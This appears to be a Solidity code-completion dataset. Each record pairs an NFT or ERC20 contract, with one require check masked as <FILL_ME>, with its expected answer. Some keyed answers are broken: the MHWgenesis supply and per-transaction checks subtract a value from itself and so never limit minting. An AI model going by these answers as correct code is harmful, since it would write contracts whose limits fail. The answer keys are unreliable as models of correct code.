///@param statuses New statuses for contracts (true - enabled, false - disabled)
///@param prices Mint ETH Prices (in wei) for contracts (0 - free mint)
///@dev Can be executed only by contract owner
function whitelistContracts(
address[] memory contractAddreses,
uint256[] memory amountsPerNfts,
bool[] memory statuses,
uint256[] memory prices,
uint256[] memory startDates,
uint256[] memory endDates
) external onlyOwner {
}
///@notice Sets Mint status
///@param newStatus New status (true - enable, false - disable)
///@dev Can be executed only by contract owner
function setMintStatus(bool newStatus) external onlyOwner {
}
///@notice Sets permanent lock for editing URI
///@dev Can be executed only by contract owner
function lockBaseTokenUri() external onlyOwner {
}
///@notice Sets new base uri
///@param _baseTokenURI New base token uri
///@dev Can be executed only by contract owner if base uri doesnt lock
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
///@notice Withdraws ETH from contract
///@dev Can be executed only by contract owner
function withdraw() external onlyOwner {
}
}
| tokenId+amount-1<TOTAL_SUPPLY,"LitRooster: Max supply reached" | 81,950 | tokenId+amount-1<TOTAL_SUPPLY |
"LitRooster: Paid minting disabled" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "./libs/ERC721A/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// @notice LitRooster NFT Contract
contract LitRooster is ERC721AQueryable, Ownable {
///@notice Max Supply
uint256 public constant TOTAL_SUPPLY = 10000;
///@notice Token Base Uri
string public baseTokenURI;
///@notice Is baseUri locked
bool public baseUriLocked;
///@notice Is Mint Active
bool public isMintActive;
///@notice Did admin mint
bool public adminMinted;
///@notice Mint Price
uint256 public mintPrice;
struct WLContract {
address contractAddress;
uint256 amountPerNFT;
uint256 price;
uint256 start;
uint256 end;
bool isWhitelisted;
}
///@dev Whitelisted contract's data
mapping(uint256 => WLContract) public whitelist;
///@dev Mapping to contract address to whitelist index
mapping(address => uint256) internal contractToIndex;
///@dev Current whitelist index (starts from 1)
uint256 public indexNum;
///@notice Is NFT's `contractAddress` Whitelisted For Mint
///@param contractAddress to check
///@return True if contract whitelisted
function isContractWhitelisted(address contractAddress)
external
view
returns (bool)
{
}
///@notice Mint price in eth(wei) for nft contract address
///@dev Can be zero
function mintPriceForContract(address contractAddress)
external
view
returns (uint256)
{
}
///@notice Is token already used for mint
mapping(address => mapping(uint256 => bool)) public isTokenUsed;
///@notice Return array of used for mint tokens in the range [`startId`,`endId`] for `contractAddress`
///@param contractAddress NFT Contact Address
///@param startId Range Start Id
///@param startId Range End Id
///@return Array of used tokens
function usedTokensIn(
address contractAddress,
uint256 startId,
uint256 endId
) external view returns (uint256[] memory) {
}
///@dev Returns whitelist array
function getWhitelist() external view returns(WLContract[] memory){
}
constructor(uint256 price, uint256 start, uint256 end) ERC721A("Lit Rooster", "LIT") {
}
///@dev Returns base uri
function _baseURI() internal view override returns (string memory) {
}
function adminMint() external{
}
///@notice Mints tokens for eth
/**
* @dev
* Requirements:
* - ETH value must be greater or equals to mint price
*/
///@param amount Amount of token to mint
function mint(uint256 amount) public payable {
require(isMintActive, "LitRooster: Minting Inactive");
uint256 tokenId = _nextTokenId();
WLContract memory wl = whitelist[1];
require(
tokenId + amount - 1 < TOTAL_SUPPLY,
"LitRooster: Max supply reached"
);
require(<FILL_ME>)
require(
block.timestamp >= wl.start,
"LitRooster: Not started yet"
);
require(block.timestamp <= wl.end, "LitRooster: Ended");
uint256 price = amount * wl.price;
require(msg.value >= price, "LitRooster: Not enough ETH");
_mint(msg.sender, amount);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
///@notice Mints tokens for whitelisted `nftContact` and not-used `tokenIds`
/**
* @dev
* Requirements:
* - Executor need to be a owner of `nftContract`'s `tokenIds`
* - `nftContract` must be whitelisted
* - `tokenIds` of `nftContract` must be unused for mint before
* - ETH value must be greater or equals to mint price for `nftContract`
*/
///@param nftContract NFT Contract address
///@param tokenIds Owned token ids
function freeMint(IERC721 nftContract, uint256[] memory tokenIds)
public
payable
{
}
///@notice Edits whitelist `statuses` for `contractAddreses` sets `prices` for as mint price
///@param contractAddreses Contract Address
///@param statuses New statuses for contracts (true - enabled, false - disabled)
///@param prices Mint ETH Prices (in wei) for contracts (0 - free mint)
///@dev Can be executed only by contract owner
function whitelistContracts(
address[] memory contractAddreses,
uint256[] memory amountsPerNfts,
bool[] memory statuses,
uint256[] memory prices,
uint256[] memory startDates,
uint256[] memory endDates
) external onlyOwner {
}
///@notice Sets Mint status
///@param newStatus New status (true - enable, false - disable)
///@dev Can be executed only by contract owner
function setMintStatus(bool newStatus) external onlyOwner {
}
///@notice Sets permanent lock for editing URI
///@dev Can be executed only by contract owner
function lockBaseTokenUri() external onlyOwner {
}
///@notice Sets new base uri
///@param _baseTokenURI New base token uri
///@dev Can be executed only by contract owner if base uri doesnt lock
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
///@notice Withdraws ETH from contract
///@dev Can be executed only by contract owner
function withdraw() external onlyOwner {
}
}
| wl.isWhitelisted,"LitRooster: Paid minting disabled" | 81,950 | wl.isWhitelisted |
"LitRooster: Max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "./libs/ERC721A/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// @notice LitRooster NFT Contract
contract LitRooster is ERC721AQueryable, Ownable {
///@notice Max Supply
uint256 public constant TOTAL_SUPPLY = 10000;
///@notice Token Base Uri
string public baseTokenURI;
///@notice Is baseUri locked
bool public baseUriLocked;
///@notice Is Mint Active
bool public isMintActive;
///@notice Did admin mint
bool public adminMinted;
///@notice Mint Price
uint256 public mintPrice;
struct WLContract {
address contractAddress;
uint256 amountPerNFT;
uint256 price;
uint256 start;
uint256 end;
bool isWhitelisted;
}
///@dev Whitelisted contract's data
mapping(uint256 => WLContract) public whitelist;
///@dev Mapping to contract address to whitelist index
mapping(address => uint256) internal contractToIndex;
///@dev Current whitelist index (starts from 1)
uint256 public indexNum;
///@notice Is NFT's `contractAddress` Whitelisted For Mint
///@param contractAddress to check
///@return True if contract whitelisted
function isContractWhitelisted(address contractAddress)
external
view
returns (bool)
{
}
///@notice Mint price in eth(wei) for nft contract address
///@dev Can be zero
function mintPriceForContract(address contractAddress)
external
view
returns (uint256)
{
}
///@notice Is token already used for mint
mapping(address => mapping(uint256 => bool)) public isTokenUsed;
///@notice Return array of used for mint tokens in the range [`startId`,`endId`] for `contractAddress`
///@param contractAddress NFT Contact Address
///@param startId Range Start Id
///@param startId Range End Id
///@return Array of used tokens
function usedTokensIn(
address contractAddress,
uint256 startId,
uint256 endId
) external view returns (uint256[] memory) {
}
///@dev Returns whitelist array
function getWhitelist() external view returns(WLContract[] memory){
}
constructor(uint256 price, uint256 start, uint256 end) ERC721A("Lit Rooster", "LIT") {
}
///@dev Returns base uri
function _baseURI() internal view override returns (string memory) {
}
function adminMint() external{
}
///@notice Mints tokens for eth
/**
* @dev
* Requirements:
* - ETH value must be greater or equals to mint price
*/
///@param amount Amount of token to mint
function mint(uint256 amount) public payable {
}
///@notice Mints tokens for whitelisted `nftContact` and not-used `tokenIds`
/**
* @dev
* Requirements:
* - Executor need to be a owner of `nftContract`'s `tokenIds`
* - `nftContract` must be whitelisted
* - `tokenIds` of `nftContract` must be unused for mint before
* - ETH value must be greater or equals to mint price for `nftContract`
*/
///@param nftContract NFT Contract address
///@param tokenIds Owned token ids
function freeMint(IERC721 nftContract, uint256[] memory tokenIds)
public
payable
{
require(isMintActive, "LitRooster: Minting Inactive");
uint256 tokenId = _nextTokenId();
WLContract memory wl = whitelist[contractToIndex[address(nftContract)]];
require(
wl.isWhitelisted,
"LitRooster: Contract is not whitelisted"
);
uint256 len = tokenIds.length;
require(<FILL_ME>)
require(
block.timestamp >= wl.start,
"LitRooster: Not started yet"
);
require(block.timestamp <= wl.end, "LitRooster: Ended");
uint256 price = len * wl.price;
require(msg.value >= price, "LitRooster: Not enough ETH");
for (uint256 i = 0; i < len; i++) {
uint256 idForCheck = tokenIds[i];
require(
nftContract.ownerOf(idForCheck) == msg.sender,
"LitRooster: Ownership mismatch"
);
require(
!isTokenUsed[address(nftContract)][idForCheck],
"LitRooster: Token already used"
);
isTokenUsed[address(nftContract)][tokenIds[i]] = true;
}
_mint(msg.sender, len);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
///@notice Edits whitelist `statuses` for `contractAddreses` sets `prices` for as mint price
///@param contractAddreses Contract Address
///@param statuses New statuses for contracts (true - enabled, false - disabled)
///@param prices Mint ETH Prices (in wei) for contracts (0 - free mint)
///@dev Can be executed only by contract owner
function whitelistContracts(
address[] memory contractAddreses,
uint256[] memory amountsPerNfts,
bool[] memory statuses,
uint256[] memory prices,
uint256[] memory startDates,
uint256[] memory endDates
) external onlyOwner {
}
///@notice Sets Mint status
///@param newStatus New status (true - enable, false - disable)
///@dev Can be executed only by contract owner
function setMintStatus(bool newStatus) external onlyOwner {
}
///@notice Sets permanent lock for editing URI
///@dev Can be executed only by contract owner
function lockBaseTokenUri() external onlyOwner {
}
///@notice Sets new base uri
///@param _baseTokenURI New base token uri
///@dev Can be executed only by contract owner if base uri doesnt lock
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
///@notice Withdraws ETH from contract
///@dev Can be executed only by contract owner
function withdraw() external onlyOwner {
}
}
| tokenId+(len*wl.amountPerNFT)-1<TOTAL_SUPPLY,"LitRooster: Max supply reached" | 81,950 | tokenId+(len*wl.amountPerNFT)-1<TOTAL_SUPPLY |
"LitRooster: Ownership mismatch" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "./libs/ERC721A/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// @notice LitRooster NFT Contract
contract LitRooster is ERC721AQueryable, Ownable {
///@notice Max Supply
uint256 public constant TOTAL_SUPPLY = 10000;
///@notice Token Base Uri
string public baseTokenURI;
///@notice Is baseUri locked
bool public baseUriLocked;
///@notice Is Mint Active
bool public isMintActive;
///@notice Did admin mint
bool public adminMinted;
///@notice Mint Price
uint256 public mintPrice;
struct WLContract {
address contractAddress;
uint256 amountPerNFT;
uint256 price;
uint256 start;
uint256 end;
bool isWhitelisted;
}
///@dev Whitelisted contract's data
mapping(uint256 => WLContract) public whitelist;
///@dev Mapping to contract address to whitelist index
mapping(address => uint256) internal contractToIndex;
///@dev Current whitelist index (starts from 1)
uint256 public indexNum;
///@notice Is NFT's `contractAddress` Whitelisted For Mint
///@param contractAddress to check
///@return True if contract whitelisted
function isContractWhitelisted(address contractAddress)
external
view
returns (bool)
{
}
///@notice Mint price in eth(wei) for nft contract address
///@dev Can be zero
function mintPriceForContract(address contractAddress)
external
view
returns (uint256)
{
}
///@notice Is token already used for mint
mapping(address => mapping(uint256 => bool)) public isTokenUsed;
///@notice Return array of used for mint tokens in the range [`startId`,`endId`] for `contractAddress`
///@param contractAddress NFT Contact Address
///@param startId Range Start Id
///@param startId Range End Id
///@return Array of used tokens
function usedTokensIn(
address contractAddress,
uint256 startId,
uint256 endId
) external view returns (uint256[] memory) {
}
///@dev Returns whitelist array
function getWhitelist() external view returns(WLContract[] memory){
}
constructor(uint256 price, uint256 start, uint256 end) ERC721A("Lit Rooster", "LIT") {
}
///@dev Returns base uri
function _baseURI() internal view override returns (string memory) {
}
function adminMint() external{
}
///@notice Mints tokens for eth
/**
* @dev
* Requirements:
* - ETH value must be greater or equals to mint price
*/
///@param amount Amount of token to mint
function mint(uint256 amount) public payable {
}
///@notice Mints tokens for whitelisted `nftContact` and not-used `tokenIds`
/**
* @dev
* Requirements:
* - Executor need to be a owner of `nftContract`'s `tokenIds`
* - `nftContract` must be whitelisted
* - `tokenIds` of `nftContract` must be unused for mint before
* - ETH value must be greater or equals to mint price for `nftContract`
*/
///@param nftContract NFT Contract address
///@param tokenIds Owned token ids
function freeMint(IERC721 nftContract, uint256[] memory tokenIds)
public
payable
{
require(isMintActive, "LitRooster: Minting Inactive");
uint256 tokenId = _nextTokenId();
WLContract memory wl = whitelist[contractToIndex[address(nftContract)]];
require(
wl.isWhitelisted,
"LitRooster: Contract is not whitelisted"
);
uint256 len = tokenIds.length;
require(
tokenId + (len * wl.amountPerNFT) - 1 < TOTAL_SUPPLY,
"LitRooster: Max supply reached"
);
require(
block.timestamp >= wl.start,
"LitRooster: Not started yet"
);
require(block.timestamp <= wl.end, "LitRooster: Ended");
uint256 price = len * wl.price;
require(msg.value >= price, "LitRooster: Not enough ETH");
for (uint256 i = 0; i < len; i++) {
uint256 idForCheck = tokenIds[i];
require(<FILL_ME>)
require(
!isTokenUsed[address(nftContract)][idForCheck],
"LitRooster: Token already used"
);
isTokenUsed[address(nftContract)][tokenIds[i]] = true;
}
_mint(msg.sender, len);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
///@notice Edits whitelist `statuses` for `contractAddreses` sets `prices` for as mint price
///@param contractAddreses Contract Address
///@param statuses New statuses for contracts (true - enabled, false - disabled)
///@param prices Mint ETH Prices (in wei) for contracts (0 - free mint)
///@dev Can be executed only by contract owner
function whitelistContracts(
address[] memory contractAddreses,
uint256[] memory amountsPerNfts,
bool[] memory statuses,
uint256[] memory prices,
uint256[] memory startDates,
uint256[] memory endDates
) external onlyOwner {
}
///@notice Sets Mint status
///@param newStatus New status (true - enable, false - disable)
///@dev Can be executed only by contract owner
function setMintStatus(bool newStatus) external onlyOwner {
}
///@notice Sets permanent lock for editing URI
///@dev Can be executed only by contract owner
function lockBaseTokenUri() external onlyOwner {
}
///@notice Sets new base uri
///@param _baseTokenURI New base token uri
///@dev Can be executed only by contract owner if base uri doesnt lock
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
///@notice Withdraws ETH from contract
///@dev Can be executed only by contract owner
function withdraw() external onlyOwner {
}
}
| nftContract.ownerOf(idForCheck)==msg.sender,"LitRooster: Ownership mismatch" | 81,950 | nftContract.ownerOf(idForCheck)==msg.sender |
"LitRooster: Token already used" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "./libs/ERC721A/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// @notice LitRooster NFT Contract
contract LitRooster is ERC721AQueryable, Ownable {
///@notice Max Supply
uint256 public constant TOTAL_SUPPLY = 10000;
///@notice Token Base Uri
string public baseTokenURI;
///@notice Is baseUri locked
bool public baseUriLocked;
///@notice Is Mint Active
bool public isMintActive;
///@notice Did admin mint
bool public adminMinted;
///@notice Mint Price
uint256 public mintPrice;
struct WLContract {
address contractAddress;
uint256 amountPerNFT;
uint256 price;
uint256 start;
uint256 end;
bool isWhitelisted;
}
///@dev Whitelisted contract's data
mapping(uint256 => WLContract) public whitelist;
///@dev Mapping to contract address to whitelist index
mapping(address => uint256) internal contractToIndex;
///@dev Current whitelist index (starts from 1)
uint256 public indexNum;
///@notice Is NFT's `contractAddress` Whitelisted For Mint
///@param contractAddress to check
///@return True if contract whitelisted
function isContractWhitelisted(address contractAddress)
external
view
returns (bool)
{
}
///@notice Mint price in eth(wei) for nft contract address
///@dev Can be zero
function mintPriceForContract(address contractAddress)
external
view
returns (uint256)
{
}
///@notice Is token already used for mint
mapping(address => mapping(uint256 => bool)) public isTokenUsed;
///@notice Return array of used for mint tokens in the range [`startId`,`endId`] for `contractAddress`
///@param contractAddress NFT Contact Address
///@param startId Range Start Id
///@param startId Range End Id
///@return Array of used tokens
function usedTokensIn(
address contractAddress,
uint256 startId,
uint256 endId
) external view returns (uint256[] memory) {
}
///@dev Returns whitelist array
function getWhitelist() external view returns(WLContract[] memory){
}
constructor(uint256 price, uint256 start, uint256 end) ERC721A("Lit Rooster", "LIT") {
}
///@dev Returns base uri
function _baseURI() internal view override returns (string memory) {
}
function adminMint() external{
}
///@notice Mints tokens for eth
/**
* @dev
* Requirements:
* - ETH value must be greater or equals to mint price
*/
///@param amount Amount of token to mint
function mint(uint256 amount) public payable {
}
///@notice Mints tokens for whitelisted `nftContact` and not-used `tokenIds`
/**
* @dev
* Requirements:
* - Executor need to be a owner of `nftContract`'s `tokenIds`
* - `nftContract` must be whitelisted
* - `tokenIds` of `nftContract` must be unused for mint before
* - ETH value must be greater or equals to mint price for `nftContract`
*/
///@param nftContract NFT Contract address
///@param tokenIds Owned token ids
function freeMint(IERC721 nftContract, uint256[] memory tokenIds)
public
payable
{
require(isMintActive, "LitRooster: Minting Inactive");
uint256 tokenId = _nextTokenId();
WLContract memory wl = whitelist[contractToIndex[address(nftContract)]];
require(
wl.isWhitelisted,
"LitRooster: Contract is not whitelisted"
);
uint256 len = tokenIds.length;
require(
tokenId + (len * wl.amountPerNFT) - 1 < TOTAL_SUPPLY,
"LitRooster: Max supply reached"
);
require(
block.timestamp >= wl.start,
"LitRooster: Not started yet"
);
require(block.timestamp <= wl.end, "LitRooster: Ended");
uint256 price = len * wl.price;
require(msg.value >= price, "LitRooster: Not enough ETH");
for (uint256 i = 0; i < len; i++) {
uint256 idForCheck = tokenIds[i];
require(
nftContract.ownerOf(idForCheck) == msg.sender,
"LitRooster: Ownership mismatch"
);
require(<FILL_ME>)
isTokenUsed[address(nftContract)][tokenIds[i]] = true;
}
_mint(msg.sender, len);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
///@notice Edits whitelist `statuses` for `contractAddreses` sets `prices` for as mint price
///@param contractAddreses Contract Address
///@param statuses New statuses for contracts (true - enabled, false - disabled)
///@param prices Mint ETH Prices (in wei) for contracts (0 - free mint)
///@dev Can be executed only by contract owner
function whitelistContracts(
address[] memory contractAddreses,
uint256[] memory amountsPerNfts,
bool[] memory statuses,
uint256[] memory prices,
uint256[] memory startDates,
uint256[] memory endDates
) external onlyOwner {
}
///@notice Sets Mint status
///@param newStatus New status (true - enable, false - disable)
///@dev Can be executed only by contract owner
function setMintStatus(bool newStatus) external onlyOwner {
}
///@notice Sets permanent lock for editing URI
///@dev Can be executed only by contract owner
function lockBaseTokenUri() external onlyOwner {
}
///@notice Sets new base uri
///@param _baseTokenURI New base token uri
///@dev Can be executed only by contract owner if base uri doesnt lock
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
///@notice Withdraws ETH from contract
///@dev Can be executed only by contract owner
function withdraw() external onlyOwner {
}
}
| !isTokenUsed[address(nftContract)][idForCheck],"LitRooster: Token already used" | 81,950 | !isTokenUsed[address(nftContract)][idForCheck] |
"LitRooster: Base Uri locked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "./libs/ERC721A/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// @notice LitRooster NFT Contract
contract LitRooster is ERC721AQueryable, Ownable {
///@notice Max Supply
uint256 public constant TOTAL_SUPPLY = 10000;
///@notice Token Base Uri
string public baseTokenURI;
///@notice Is baseUri locked
bool public baseUriLocked;
///@notice Is Mint Active
bool public isMintActive;
///@notice Did admin mint
bool public adminMinted;
///@notice Mint Price
uint256 public mintPrice;
struct WLContract {
address contractAddress;
uint256 amountPerNFT;
uint256 price;
uint256 start;
uint256 end;
bool isWhitelisted;
}
///@dev Whitelisted contract's data
mapping(uint256 => WLContract) public whitelist;
///@dev Mapping to contract address to whitelist index
mapping(address => uint256) internal contractToIndex;
///@dev Current whitelist index (starts from 1)
uint256 public indexNum;
///@notice Is NFT's `contractAddress` Whitelisted For Mint
///@param contractAddress to check
///@return True if contract whitelisted
function isContractWhitelisted(address contractAddress)
external
view
returns (bool)
{
}
///@notice Mint price in eth(wei) for nft contract address
///@dev Can be zero
function mintPriceForContract(address contractAddress)
external
view
returns (uint256)
{
}
///@notice Is token already used for mint
mapping(address => mapping(uint256 => bool)) public isTokenUsed;
///@notice Return array of used for mint tokens in the range [`startId`,`endId`] for `contractAddress`
///@param contractAddress NFT Contact Address
///@param startId Range Start Id
///@param startId Range End Id
///@return Array of used tokens
function usedTokensIn(
address contractAddress,
uint256 startId,
uint256 endId
) external view returns (uint256[] memory) {
}
///@dev Returns whitelist array
function getWhitelist() external view returns(WLContract[] memory){
}
constructor(uint256 price, uint256 start, uint256 end) ERC721A("Lit Rooster", "LIT") {
}
///@dev Returns base uri
function _baseURI() internal view override returns (string memory) {
}
function adminMint() external{
}
///@notice Mints tokens for eth
/**
* @dev
* Requirements:
* - ETH value must be greater or equals to mint price
*/
///@param amount Amount of token to mint
function mint(uint256 amount) public payable {
}
///@notice Mints tokens for whitelisted `nftContact` and not-used `tokenIds`
/**
* @dev
* Requirements:
* - Executor need to be a owner of `nftContract`'s `tokenIds`
* - `nftContract` must be whitelisted
* - `tokenIds` of `nftContract` must be unused for mint before
* - ETH value must be greater or equals to mint price for `nftContract`
*/
///@param nftContract NFT Contract address
///@param tokenIds Owned token ids
function freeMint(IERC721 nftContract, uint256[] memory tokenIds)
public
payable
{
}
///@notice Edits whitelist `statuses` for `contractAddreses` sets `prices` for as mint price
///@param contractAddreses Contract Address
///@param statuses New statuses for contracts (true - enabled, false - disabled)
///@param prices Mint ETH Prices (in wei) for contracts (0 - free mint)
///@dev Can be executed only by contract owner
function whitelistContracts(
address[] memory contractAddreses,
uint256[] memory amountsPerNfts,
bool[] memory statuses,
uint256[] memory prices,
uint256[] memory startDates,
uint256[] memory endDates
) external onlyOwner {
}
///@notice Sets Mint status
///@param newStatus New status (true - enable, false - disable)
///@dev Can be executed only by contract owner
function setMintStatus(bool newStatus) external onlyOwner {
}
///@notice Sets permanent lock for editing URI
///@dev Can be executed only by contract owner
function lockBaseTokenUri() external onlyOwner {
}
///@notice Sets new base uri
///@param _baseTokenURI New base token uri
///@dev Can be executed only by contract owner if base uri doesnt lock
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
require(<FILL_ME>)
baseTokenURI = _baseTokenURI;
}
///@notice Withdraws ETH from contract
///@dev Can be executed only by contract owner
function withdraw() external onlyOwner {
}
}
| !baseUriLocked,"LitRooster: Base Uri locked" | 81,950 | !baseUriLocked |
"Sender without balance!" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;
abstract contract ERC20Interface{
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner)public virtual view returns (uint);
function allowance(address tokenOwner, address spender)
public virtual view returns (uint);
function transfer(address to, uint tokens) public virtual returns (bool);
function approve(address spender, uint tokens) public virtual returns (bool);
function transferFrom(address from, address to, uint tokens)virtual public returns (bool);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
}
contract WuaoCoin is ERC20Interface{
string public constant name = "WUAOCOIN";
string public constant symbol = "WUAO";
uint8 public constant decimals= 18;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
uint private immutable totalSupp;
address private immutable manager;
constructor() {
}
function totalSupply() public view override returns (uint){
}
function balanceOf(address tokenOwner) public view override returns (uint balance) {
}
function transfer(address to, uint tokens) override public returns (bool success) {
}
function approve(address spender, uint tokens) override public returns (bool success) {
require(<FILL_ME>)
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
success = true;
}
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
| balances[msg.sender]>tokens,"Sender without balance!" | 82,042 | balances[msg.sender]>tokens |
"Spender without balance" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;
abstract contract ERC20Interface{
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner)public virtual view returns (uint);
function allowance(address tokenOwner, address spender)
public virtual view returns (uint);
function transfer(address to, uint tokens) public virtual returns (bool);
function approve(address spender, uint tokens) public virtual returns (bool);
function transferFrom(address from, address to, uint tokens)virtual public returns (bool);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
}
contract WuaoCoin is ERC20Interface{
string public constant name = "WUAOCOIN";
string public constant symbol = "WUAO";
uint8 public constant decimals= 18;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
uint private immutable totalSupp;
address private immutable manager;
constructor() {
}
function totalSupply() public view override returns (uint){
}
function balanceOf(address tokenOwner) public view override returns (uint balance) {
}
function transfer(address to, uint tokens) override public returns (bool success) {
}
function approve(address spender, uint tokens) override public returns (bool success) {
}
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
require(<FILL_ME>)
allowed[from][msg.sender] = sub(allowed[from][msg.sender],tokens);
balances[from] = sub(balances[from],tokens);
balances[to] = add(balances[to],tokens);
emit Transfer(from, to, tokens);
success = true;
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
| allowed[from][msg.sender]>=tokens,"Spender without balance" | 82,042 | allowed[from][msg.sender]>=tokens |
"sold out" | contract MHWgenesis is ERC721A, Ownable {
string public uriPrefix = "ipfs://QmPfcH4erCLdkzvPwJhyA9bLCB7P4VeiiQSwuYxNAXK6UK/";
uint256 public immutable cost = 0.003 ether;
uint32 public immutable maxSupply = 1999;
uint32 public immutable maxPerTx = 4;
modifier callerIsUser() {
}
modifier callerIsWhitelisted(uint256 amount, uint256 _signature) {
}
constructor()
ERC721A ("MHWgenesis", "MG") {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function publicMint(uint256 amount) public payable callerIsUser{
require(<FILL_ME>)
require(amount - amount <= maxPerTx, "invalid amount");
require(msg.value >= cost * amount,"insufficient");
_safeMint(msg.sender, amount);
}
function airDrop(uint256 amount) public onlyOwner {
}
function whiteListMint(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function whiteListDrop(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function withdraw() public onlyOwner {
}
}
| totalSupply()+amount-totalSupply()<=maxSupply,"sold out" | 82,088 | totalSupply()+amount-totalSupply()<=maxSupply |
"invalid amount" | contract MHWgenesis is ERC721A, Ownable {
string public uriPrefix = "ipfs://QmPfcH4erCLdkzvPwJhyA9bLCB7P4VeiiQSwuYxNAXK6UK/";
uint256 public immutable cost = 0.003 ether;
uint32 public immutable maxSupply = 1999;
uint32 public immutable maxPerTx = 4;
modifier callerIsUser() {
}
modifier callerIsWhitelisted(uint256 amount, uint256 _signature) {
}
constructor()
ERC721A ("MHWgenesis", "MG") {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function publicMint(uint256 amount) public payable callerIsUser{
require(totalSupply() + amount - totalSupply()<= maxSupply, "sold out");
require(<FILL_ME>)
require(msg.value >= cost * amount,"insufficient");
_safeMint(msg.sender, amount);
}
function airDrop(uint256 amount) public onlyOwner {
}
function whiteListMint(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function whiteListDrop(uint256 amount, uint256 _signature) public callerIsWhitelisted(amount, _signature) {
}
function withdraw() public onlyOwner {
}
}
| amount-amount<=maxPerTx,"invalid amount" | 82,088 | amount-amount<=maxPerTx |
"Not enough Chimps remaining" | // SPDX-License-Identifier: MIT
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOxol:;''.............',:codk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOdc;'...',;clloddxxxxxxddoolc:;'....,cokKNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMWKkl;...':ldkO0KKXXKKKK00000KKKKKXXXKK0kxl:,...,cxKNMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMN0d;...;lxOKKXK0Oxdoc:;,,'''''''',,;:codkO0KXXK0xo:'..,oONMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMWKd;..'cxOKXK0koc;'... ................ ...';cok0KXK0kl;..,o0NMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMNk:..'lk0XK0xl;.. ....',,,,,;,,,,,,,,,,,,,,'.... ..;lk0KXKko;..;xXMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMXx,..:x0KK0xc'. ...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'.. .'cx0KXKkc..'oKWMMMMMMMMMMMMM
//MMMMMMMMMMMMXx'..lkKXKkc'. ..',,,;,,;,,,,,,,,,''''''',,,,;,,,,,,,,,;,,'.. .'lkKXKOo,..lKWMMMMMMMMMMM
//MMMMMMMMMMNk,..lOKK0d;. ..',,,,,,,,,,,,'.... . ....',,,,,,,,,,,,,'.. .:x0XK0o'..dXMMMMMMMMMM
//MMMMMMMMWKc..:kKX0d, .',,;,,,,,,,,'.. .';clllooolllc:;,.. ..',,,,,,,,,,,,.. .;x0XXOl. ;OWMMMMMMMM
//MMMMMMMNx' ,xKKKx; .',,,,,,,,,,,.. 'coooc:;''..''',;:cloooc'. ..,,,;,,,,,,,,'. .;kKKKk:..oXMMMMMMM
